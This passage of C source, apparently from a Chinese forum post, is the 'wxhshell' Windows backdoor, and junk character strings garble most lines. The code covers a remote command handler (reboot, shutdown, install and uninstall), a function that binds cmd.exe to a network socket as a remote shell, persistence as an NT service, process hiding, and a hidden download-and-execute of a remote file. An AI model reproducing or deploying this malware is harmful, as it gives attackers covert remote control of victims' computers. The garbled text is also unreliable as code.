    switch(cmd[0]) { QnI.zq V  
  /{{UP-  
  // 帮助 `Bw9O%]-S  
  case '?': { enTW0U}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5PIZh<  
    break; ]u-02g  
  } yE\wj  
  // 安装 pCu!l#J  
  case 'i': { IF +i3#$  
    if(Install()) 6ATtW+sN]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ox#Q2W@Uy  
    else #-Z8Z i"44  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kJAn4I.l  
    break; ;@nFVy>U  
    } /?6gdN  
  // 卸载 ;+I/I9~  
  case 'r': { S\wW)Pv8  
    if(Uninstall()) ;c -3g]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;&b%Se@#p  
    else u0RS)&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %y<ejM  
    break; g2R@`./S  
    } 6QNs\Ucb+  
  // 显示 wxhshell 所在路径 !'f3>W\   
  case 'p': { L!'k ! k  
    char svExeFile[MAX_PATH]; A;J MV+2N  
    strcpy(svExeFile,"\n\r"); >m'x8xB=  
      strcat(svExeFile,ExeFile); 7$k8%lI;>  
        send(wsh,svExeFile,strlen(svExeFile),0); Pz_NDI  
    break; a{!r`>I\f  
    } 3S BZ>  
  // 重启 o:Zd1"Z  
  case 'b': { d vOJW".  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U{ ;l0 2S  
    if(Boot(REBOOT)) e.o;eD}"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *RR[H6B^]X  
    else {  UkfB^hA  
    closesocket(wsh); +<.\5+  
    ExitThread(0); #Rew [\$  
    } %vO<9fE|1  
    break; .A1\J@b  
    } + q''y  
  // 关机 kz q29S  
  case 'd': { ]feyJLF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S:8OQI  
    if(Boot(SHUTDOWN)) v8I{XU@%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ibdO*E  
    else { '+*-s7o{  
    closesocket(wsh); &*&?0ov^"  
    ExitThread(0); Q0{z).&\(e  
    } zQH]s?v  
    break; t/Z:)4Z  
    } p8+/\Ee]B  
  // 获取shell ~"!a9GZ  
  case 's': { DP7C?}(  
    CmdShell(wsh); 3P <'F2o  
    closesocket(wsh); [ B0K  
    ExitThread(0); BwJuYH7QJ$  
    break; h7;bclU  
  } ]$M<]w,IJ2  
  // 退出 cUK\x2  
  case 'x': { 'FzN[% K"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sl/)|~3!8  
    CloseIt(wsh); M;Wha;%E"  
    break; )~rB}>^Z  
    } 4Z)DDz-}V  
  // 离开 QfQ\a%cc  
  case 'q': { }t>q9bZ9z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GIv){[i  
    closesocket(wsh); K` nJVc  
    WSACleanup(); nSY-?&l6P  
    exit(1); ~ E=\t9r  
    break; -U>7 H`5  
        } (tl}q3U  
  } fw{,bJ(U  
  } .h;Se  
>&H~nGP.  
  // 提示信息 !U BVPR*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5]7&IDA]]9  
} '5};M)w  
  } b0a}ME&1  
L8V3BH7B  
  return; C%ytkzG_  
} 5@XV6  
S;A)C`X&  
// shell模块句柄 qSQ@p\O~  
int CmdShell(SOCKET sock) PMKb ]y  
{ 135vZ:S  
STARTUPINFO si; zH'2s-.bi  
ZeroMemory(&si,sizeof(si)); jxy1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3ViM ?p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dALK0U  
PROCESS_INFORMATION ProcessInfo; 4VIg>EL*  
char cmdline[]="cmd"; b Dg9P^<n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZM~`Gd9K0E  
  return 0; el'j&I  
} RI@*O6\/I  
acOJ]]  
// 自身启动模式  v_sm  
int StartFromService(void) 7aQcP  
{ K!b8= K`  
typedef struct pIVq("&  
{ GM}C]MVD  
  DWORD ExitStatus; <4zT;:NQ  
  DWORD PebBaseAddress; [F|+(}  
  DWORD AffinityMask; j;2<-{  
  DWORD BasePriority; n6d^>s9J  
  ULONG UniqueProcessId; ):bu;3E  
  ULONG InheritedFromUniqueProcessId; ,deUsc  
}   PROCESS_BASIC_INFORMATION; 3#Y3Dz`  
Q-R}qy5y  
PROCNTQSIP NtQueryInformationProcess; lIuXo3  
%yaG,;>U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DuF7HTN[K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '8r8%XI  
M\yHUS6N  
  HANDLE             hProcess; H4skvIl  
  PROCESS_BASIC_INFORMATION pbi; U1Yo7nVf  
+p?hGoF=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'XTs -=  
  if(NULL == hInst ) return 0; h#{T}[  
f[qPG&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ypA:  P  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EDN(eh(_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +{6`F1MO  
ek[kq[U9  
  if (!NtQueryInformationProcess) return 0; :l~EE!  
~|R[O^9B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >I-g[*  
  if(!hProcess) return 0; S\|^ULrH  
 E&%jeR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \Hs|$   
~JE|f 7  
  CloseHandle(hProcess); 79z)C35~  
b5Q8pWZg,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uMDtdC8  
if(hProcess==NULL) return 0; GEtbs+[  
pAg$oe#  
HMODULE hMod; d~<QAh#rG  
char procName[255]; wsfysat$  
unsigned long cbNeeded; /Ri,>}n  
8ath45G@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NV#')+Ba  
%FlA ":W  
  CloseHandle(hProcess); 4zzlazU  
E0`[G]*G  
if(strstr(procName,"services")) return 1; // 以服务启动 WW3  B  
cqk]NL`'  
  return 0; // 注册表启动 ja75c~RUw  
} _:5=|2-E  
6To:T[ z#  
// 主模块 -gSj>b7T  
int StartWxhshell(LPSTR lpCmdLine) [tm[,VfA^  
{ "=ElCaP}  
  SOCKET wsl; a)S(p1BGg  
BOOL val=TRUE; </yo9.  
  int port=0; lzoeST  
  struct sockaddr_in door; VV\Xb31J  
!2tw,QM  
  if(wscfg.ws_autoins) Install(); ru(J5+H  
SKJW%(|3  
port=atoi(lpCmdLine); ~BQV]BJ7  
\[k% )_  
if(port<=0) port=wscfg.ws_port; l% |cB93  
C.HYS S  
  WSADATA data; \=8=wQv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #gI&lO*\gr  
<Cr8V'c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   L"^.0*X/d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wDZ  
  door.sin_family = AF_INET; ~B*~'I9b*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *N'hA5.z  
  door.sin_port = htons(port); .ujj:>  
'g]=.K+@}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q,n4i@E  
closesocket(wsl); :K;T Q  
return 1; 4 iKR{P6  
} @%H8"A  
5&G 5eA  
  if(listen(wsl,2) == INVALID_SOCKET) { .d e  
closesocket(wsl); IW]*i?L  
return 1; YJc%h@_=]  
} Nor`c+,4  
  Wxhshell(wsl); N Z)b:~a  
  WSACleanup(); oc((Yo+B  
W CoF{ *  
return 0; 3/l\ <{  
u6p5:oJj,  
} ,,}sK  
,wlbIl~  
// 以NT服务方式启动 s~)L_ p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f^u^-l  
{ `1$y(w]  
DWORD   status = 0; k%^<}s@  
  DWORD   specificError = 0xfffffff; ~ z>BfL  
k}-]W@UCa?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]xI?,('_m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W8x[3,gT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v#-E~;C cC  
  serviceStatus.dwWin32ExitCode     = 0; ru DP529;  
  serviceStatus.dwServiceSpecificExitCode = 0; _l<| 1nH  
  serviceStatus.dwCheckPoint       = 0; QS5H >5M)  
  serviceStatus.dwWaitHint       = 0; 1GUqT 9)  
L!&$c&=xf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D-~G|8g  
  if (hServiceStatusHandle==0) return; -$OD}5ku#  
6QW<RXom  
status = GetLastError(); ^A- sS~w  
  if (status!=NO_ERROR) ^ ~, ndH{  
{ &q"'_4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KCl &H  
    serviceStatus.dwCheckPoint       = 0; hc6.#~i  
    serviceStatus.dwWaitHint       = 0; 0FTRm2(  
    serviceStatus.dwWin32ExitCode     = status; (GnVwJ<v9V  
    serviceStatus.dwServiceSpecificExitCode = specificError; [\88@B=jXP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Et)9 20  
    return; _ r~+p  
  } [4ee <J  
T ^N L:78  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t18UDR{  
  serviceStatus.dwCheckPoint       = 0; ~~ U<  
  serviceStatus.dwWaitHint       = 0; 6#fOCr;f7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T7^ulG1'  
}  YN4"O>  
z2.*#xTZn  
// 处理NT服务事件,比如:启动、停止 `(!W s\:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _IC,9bbg  
{ 'xQna+%h  
switch(fdwControl) K/Sq2:  
{ sE-x"c  
case SERVICE_CONTROL_STOP: xcw%RUC-  
  serviceStatus.dwWin32ExitCode = 0; 9^(HXH_f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IvFR <n  
  serviceStatus.dwCheckPoint   = 0; //~POm  
  serviceStatus.dwWaitHint     = 0; 9jqO/_7R+  
  { (LRNU)vD7$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BSOjyy1f  
  } ]c5DOv&  
  return; y#&$ f  
case SERVICE_CONTROL_PAUSE: [ k!-;mi   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~."!l'a  
  break; l_bL,-|E8  
case SERVICE_CONTROL_CONTINUE: ]NbX`'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; L7s>su|c(  
  break; r >E\Cco  
case SERVICE_CONTROL_INTERROGATE: fE'-.nA+  
  break; ^GE^Q\&D&  
}; {ms,q_Zr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @k_Jl>X  
} ht2 f-EKf{  
Xg,0/P~  
// 标准应用程序主函数 7WgIhQ~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n?zbUA#  
{ $Z,i|K;  
7U&5^s )J  
// 获取操作系统版本 x(rd$oZO  
OsIsNt=GetOsVer(); aB=vu=hF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U)u\1AV5  
YR?3 61FK  
  // 从命令行安装 $K+4C0wX`  
  if(strpbrk(lpCmdLine,"iI")) Install(); Sjw2 j#Q  
1RCXc>}/  
  // 下载执行文件 lr-12-D%-  
if(wscfg.ws_downexe) { N$C{f;xV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L[CU  
  WinExec(wscfg.ws_filenam,SW_HIDE); @>M8Pe  
} &/sGh0  
Jq=00fcT+  
if(!OsIsNt) { K5 5} Wi  
// 如果时win9x,隐藏进程并且设置为注册表启动 D LNa6  
HideProc(); o lYPlH F  
StartWxhshell(lpCmdLine); Y0@'za^y  
} "kcpA#uD|  
else #.<*; rB  
  if(StartFromService()) `l+ >iM  
  // 以服务方式启动 $dlnmNP+  
  StartServiceCtrlDispatcher(DispatchTable); {9h`$e=  
else ov?.:M  
  // 普通方式启动 I/^q+l.=`{  
  StartWxhshell(lpCmdLine); )w Z49>Y  
a];BW)  
return 0; cSY2#u|v  
}
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只看该作者 1 发表于: 2006-10-10
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